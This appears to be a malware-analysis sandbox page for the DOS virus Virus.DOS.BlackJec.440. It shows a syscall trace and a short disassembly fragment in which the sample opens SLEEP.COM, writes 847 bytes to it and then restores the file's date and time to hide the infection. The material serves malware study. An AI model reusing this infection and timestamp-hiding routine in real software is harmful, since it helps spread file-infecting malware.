Sample viewer

vx.netlux.org/Virus.DOS.BlackJec.440

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:55:12.192270533Z 42 PC: 12ab1 | Get date 0x12ab1: mov word ptr [0xf2], dx
0x12ab5: mov word ptr [0xf4], cx
0x12ab9: stc
0x12aba: mov dx, 0x2af
0x12abd: mov ah, 0x4e
0x12abf: mov cx, 0x20
0x12ac2: int 0x21
0x12ac4: or ax, ax
0x12ac6: je 0x12acb
0x12ac8: jmp 0x12ba0
0x12acb: mov ah, 0x2f
0x12acd: int 0x21
0x12acf: mov ax, word ptr es:[bx + 0x1a]
0x12ad3: mov word ptr [0xfc], ax
0x12ad6: add bx, 0x1e
0x12ad9: mov word ptr [0xfe], bx
0x12add: mov ax, 0x4f43
0x12ae0: sub ax, word ptr [0x9e]
0x12ae4: jne 0x12ae9
0x12ae6: jmp 0x12b94
2018-12-17T22:55:12.19488543Z 78 PC: 12ac4 | Find first file
2018-12-17T22:55:12.200876349Z 47 PC: 12acf | Get disk transfer address
2018-12-17T22:55:12.201986167Z 43 PC: 12b25 | Set date
2018-12-17T22:55:12.205423772Z 61 PC: 12b2d | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:55:12.216714991Z 63 PC: 12b3b | Read file or device (Read 407 bytes on handle 5)
2018-12-17T22:55:12.222957688Z 60 PC: 12b78 | Create or truncate file
2018-12-17T22:55:12.599504824Z 64 PC: 12b8a | Write file or device (Write 847 bytes on handle 6)
2018-12-17T22:55:12.608534964Z 62 PC: 12b8e | Close file
2018-12-17T22:55:12.616596876Z 43 PC: 12ba7 | Set date
2018-12-17T22:55:12.617678011Z 45 PC: 12baf | Set time
2018-12-17T22:55:12.619433964Z 43 PC: 12bbb | Set date
2018-12-17T22:55:12.622875175Z 76 PC: 12a45 | Terminate with return code (Return code = '0')